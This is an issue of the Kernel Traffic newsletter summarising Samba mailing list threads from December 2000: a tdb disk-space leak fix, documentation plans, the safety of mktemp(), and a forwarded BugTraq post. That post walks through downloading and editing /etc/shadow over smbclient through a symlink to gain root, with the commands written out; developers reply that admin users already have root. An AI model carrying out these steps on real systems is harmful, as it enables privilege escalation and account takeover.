Kernel Traffic
Latest | Archives | People | Topics
Latest | Archives | People | Topics
Latest | Archives | People | Topics
Home | News | RSS Feeds | Mailing Lists | Authors Info | Mirrors | Stalled Traffic

Samba Traffic #36 For 23 Dec 2000

Editor: Zack Brown

By John Quirk  and  Zack Brown

Samba Homepage | Samba List Archives | "Using Samba" | Samba Tips | A Samba Doc Page | Samba Meta-FAQ | Samba For IRIX FAQ

Table Of Contents


Want to help write KC Samba? See the KC Authorship page, the KC Samba homepage, and the Thread Summary FAQ. Send any questions to the KCDevel mailing list.

Mailing List Stats For This Week

We looked at 508 posts in 2284K.

There were 179 different contributors. 85 posted more than once. 0 posted last week too.

The top posters of the week were:

1. Tdb Diskspace Leak Fixed

12 Dec 2000 - 13 Dec 2000 (4 posts) Archive Link: "2.2.0 tdb diskspace leak!"

Summary By John Quirk

People: Richard BollingerJeremy Allison

Richard Bollinger posted the following:

Contrary to prior messages regarding the unbounded growth of "unexpected.tdb", it is _not_ growing to a high water mark. A quick dump of the file running on our test Solaris server shows its full of "dead" entries, not freed ones. tdbutil shows nothing on the "free list". Identical results are showing on our Linux server.

Something is going wrong in the process which is prunes out old entries, preventing them from being freed in clear_unexpected() -> traverse_fn () -> tdb_delete() -> do_delete() . The code in do_delete() checks to see if someone is traversing that record (apparently always true in this instance) and marks it "dead" rather than really deleting the entry. Thus the file grows indefinitely. Someone who understand the tdb logic may offer a simple cure?

Jeremy Allison thanked Richard for his report and said he would work on it ASAP . Later, he came back with:

I've finally fixed this (it took a while :-). Please check out the CVS and try again.

Thanks for reporting this one !

Richard replied this change had fixed his problems.

2. DocBook Conversion

13 Dec 2000 - 17 Dec 2000 (10 posts) Subject: "Docu status"

Summary By Zack Brown

People: James MooreGerald CarterDavid Bannon

on samba-docs, James Moore noticed there had been very little traffic on that list since he'd joined a week before, and volunteered to help with the DocBook translation. He suggested, "I can set up a self contained manual with everything we will need so the docs can just be built using: autoconf, ./configure, make <doc_type>." Gerald Carter was happy to find a new interested volunteer, and replied regarding James' suggestion:

I like this. David Bannon has been working on converting a HOWTO and FAQ over to DocBook/SGML. These have been sort of a proof of concept.

David, How does this sound to you? No more checking in HTML and Text versions. Only SGML files with the real docs built by users and/or vendors?

After a bit more discussion Gerald and James agreed to speak some more offline and possibly set it up.

3. Confusion With mktmp() Libary Call

14 Dec 2000 - 18 Dec 2000 (12 posts) Archive Link: "warnings on compile"

Summary By John Quirk

People: Christopher KleinJeremy AllisonTim PotterKenichi OkuyamaSteve LangasekAndrew TridgellRobert Dahlem

Christopher Klein posted a question about a warning he was seeing. He said, "I am trying to install samba on an ftp server running freebsd 4.1 I am getting the following warning repeated many times on the initial make ... Warning: mktemp() possibly used unsafely; consider using mkstemp." Jeremy Allison replied:

The warning is wrong. mktemp is being used securely in Samba.

Every use of the generated filename uses the O_EXCL flag, which prevents /tmp races.

mkstemp doesn't do what we need here, as it returns a file descriptor which is not what we want - we want a filename that is *potentially* unique. We take care of the security issue ourselves.

Tim Potter posted a clarification:

Well the warning is technically right - mktmp() may *possibly* be used unsafely but it isn't in this case. (-:

It's a pretty annoying error though. I wonder if it's possible to patch gcc to determine whether the O_EXCL flag is not being used and then print out the warning rather than always doing it.

This started a discussion about how this is checked and what proof there is that the code is in fact correct and the need to call an external mktmp() function as smbd_mktemp() is doing similar work. Jeremy Allison said, "What I meant is that we grep for *every* use of open/fopen and check that it cannot be used for mktemp races. It's not so difficult."

Kenichi Okuyama replied to Jeremy, "Ah... Jeremy. "It's not so difficult" is quite different from "It'll never be difficult". I'm sure that you can do this work in very good quality. But still, we have chance of sneeking the problem into the samba code. And there is chance that you might miss the change."

Also durring the discussion Kenichi Okuyama gave the list this piece of Japanese folk lore:

[Binbou-Gami]: In Japan, there's said to be 8 Million Gods. In those god, there's god name 'Binbou-Gami', he's god of poverty.

What's so great about him, is that he can eat up entire resource of any kind, no matter how you may earn it. Even if other GOD tries to generate infinit resource, Binbou-Gami can waste all the resources instantly. He's one of the strongest God of all 8Millions.

So, if you believe in 'Binbou-Gami's existance, you should not think about infinite resource, never. If you think there's no such a god, .... well .... look at your wallet (^^;)

Steve Langasek added, "Despite disagreeing with you about the divine nature of the Samba project leaders :), it seems to me that pulling the mktemp code entirely into Samba would be a good idea. There's enough variation in the mktemp(), mkstemp(), tmpnam(), etc. functions available on different Unices, and it's simple enough to reimplement correctly, that it might just reduce the Samba code size to do it all internally."

Jeremy Allison replied that it sounded like a good idea and asked for volunteers.

Andrew Tridgell posted his thoughts on this issue:

We continue to use mktemp() because the alternatives are worse.

If we switched to using something based on mkstemp() then we would actually open up a security hole! That is because some platforms open the file in mkstemp() with permissions of 0666, which allows an attacker to modify the file contents. That's why recent Linux man pages recommend NOT using mkstemp() and instead using tmpfile().

So now of couse people will ask why we don't use tmpfile(). We don't because it is fundamentally broken as it uses a FILE* pointer. On some major platforms FILE* is limited to 8 bit file descriptors which means tmpfile() would fail when Samba has more than 255 files open. Not good.

Despite the stupid compiler warnings mktemp() (when used properly) is the most secure option available. When something better comes along we can consider using it, but meanwhile just put up with the stupid compiler warnings.

Kenichi Okuyama felt that Andrew's statements reinforced the need to write a samba version of this libary call. Robert Dahlem noted that there might be a memory leak in Kenichi contribution. There where no further post to this thread.

4. BugTraq Exploit Discussion

14 Dec 2000 - 17 Dec 2000 (7 posts) Subject: "BugTraq Post: Symlink attack in (all?) Samba. - Local root walkthrough by Tozz"

Summary By Zack Brown

People: Scott GiffordJeremy AllisonRobert Dahlem

Scott Gifford forwarded a post from BugTraq:


By default, Samba ( followes symlinks, which can lead to root promises. Here is an example:

I have a guy that sorts out all my uploads through SMB, he has 'admin' access (admin users = username).. This means he will work as UID 0 (root).

e.g. we have this share in /etc/smb.conf

path = /home/ftp/incoming
comment = Uploads that came through anon ftp
guest ok = no
writeable = no
force create mode = 0755
force directory mode = 0755
admin users = warezmaster

Login to the shell, or find some other way to create symlinks and create a symlink in /home/ftp/incoming you do something like

ln /etc -s

now type on you're box (local or remote works both): smbclient file:// -U warezmaster it will ask for a password, enter it and you will get something like


There we go

smb\:>cd etc
smb\:>get shadow

[root@embrace /root]
now you downloaded the shadow file on you're localbox edit it, change you're UID to 0, or remove the password from the root account (no password required at logon)

login with smbclient again

smbclient file:// -U warezmaster enter the password

and reupload

smb\:>cd etc
smb\:>put shadow

that's it, now login to the shell, if you changed you're own uid you are now root. If you removed the password from root account just su to it and you wont need a password.


The 'Follow Symlinks' can be turned off, but it's on by default.


Disable Follow Symlinks

Scott gave his take, saying:

I don't think that this "attack" is particularly surprising. Basically, he is leveraging a Samba "admin user" account into a UNIX root account, using a symlink (created from a shell) to get outside of the share.

It seems to me like a "leveraging root to get root" attack, but I guess if somebody had fileserver admins that were less trusted than their UNIX admins, it could be an issue.

Jeremy Allison replied:

Crackers must be getting desparate if they post this kind of stuff. If you've got an admin user account you are already root - why bother with all this pathetic stuff - just copy a /bin/sh onto the share, logon locally and run it from there.

Sometimes I wonder about these people. Don't they realise there are more creative things to do than re-arranging bits on a disk when you already have root permission :-).

Robert Dahlem added with disdain:

Too much twits on bugtraq. :-(

man smb.conf reveals (to everyones surprise):

admin users (S)

This is a list of users who will be granted administrative privileges on the share. This means that they will do all file operations as the super-user (root).

You should use this option very carefully, as any user in this list will be able to do anything they like on the share, irrespective of file permissions.

I stopped reading bugtraq a while ago. Every second script kid thinks he were Guninski.







Sharon And Joy

Kernel Traffic is grateful to be developed on a computer donated by Professor Greg Benson and Professor Allan Cruse in the Department of Computer Science at the University of San Francisco. This is the same department that invented FlashMob Computing. Kernel Traffic is hosted by the generous folks at All pages on this site are copyright their original authors, and distributed under the terms of the GNU General Public License version 2.0.